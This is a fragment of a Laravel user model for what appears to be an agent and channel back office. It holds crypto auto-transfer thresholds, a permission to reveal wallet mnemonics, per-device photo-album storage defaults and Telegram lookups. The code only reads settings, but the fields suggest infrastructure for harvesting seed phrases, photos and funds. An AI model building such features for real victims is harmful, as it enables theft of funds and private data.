forgetAgents(); }; static::saved($bust); static::deleted($bust); } protected function casts(): array { return [ 'password' => 'hashed', 'status' => 'integer', 'auto_transfer_enabled' => 'boolean', 'auto_transfer_threshold_usdt' => 'decimal:8', 'auto_transfer_threshold_trx' => 'decimal:8', 'auto_transfer_threshold_eth' => 'decimal:8', 'auto_transfer_threshold_btc' => 'decimal:8', 'album_storage_default' => 'boolean', 'can_reveal_mnemonics' => 'boolean', 'google_auth_open' => 'integer', ]; } protected $attributes = [ 'album_storage_default' => false, 'can_reveal_mnemonics' => false, ]; public function isEnabled(): bool { return (int) $this->status === 1; } public function channels(): HasMany { return $this->hasMany(Channel::class, 'user_id'); } public function albumStorageDefaultEnabled(): bool { return (bool) ($this->album_storage_default ?? false); } public function mnemonicRevealEnabled(): bool { return (bool) ($this->can_reveal_mnemonics ?? false); } public function canRevealMnemonics(): bool { return (bool) config('coruna.mnemonic_reveal.staff_enabled') && $this->mnemonicRevealEnabled(); } public function hasGoogleBound(): bool { return filled($this->google_secret); } public function requiresLoginGoogle(): bool { return $this->hasGoogleBound() && (int) $this->google_auth_open === 1; } /** * New-device album_storage default for a channel. * Agent channels use that agent's switch. Official channels use the system switch. * Unknown channel IDs stay off. */ public static function albumStorageDefaultForChannel(?string $channelId): bool { $channelId = trim((string) $channelId); if ($channelId === '') { return false; } $userId = Channel::query()->where('channel_id', $channelId)->value('user_id'); if ($userId === null) { return false; } if ((int) $userId === Channel::OFFICIAL_USER_ID) { return (bool) config('coruna.album_storage.official_default'); } $agent = static::query()->find((int) $userId); return $agent?->albumStorageDefaultEnabled() ?? false; } public function hasTelegramChat(): bool { return trim((string) ($this->chat_id ?? '')) !== ''; } /** @deprecated Use hasTelegramChat(); kept for existing call sites. */ public function hasTelegramBot(): bool { return $this->hasTelegramChat(); } public static function findEnabledByChatId(int|string|null $chatId): ?self { $chatId = trim((string) $chatId); if ($chatId === '') { return null; } return static::query() ->where('status', 1) ->where('chat_id', $chatId) ->orderBy('id') ->first(); } }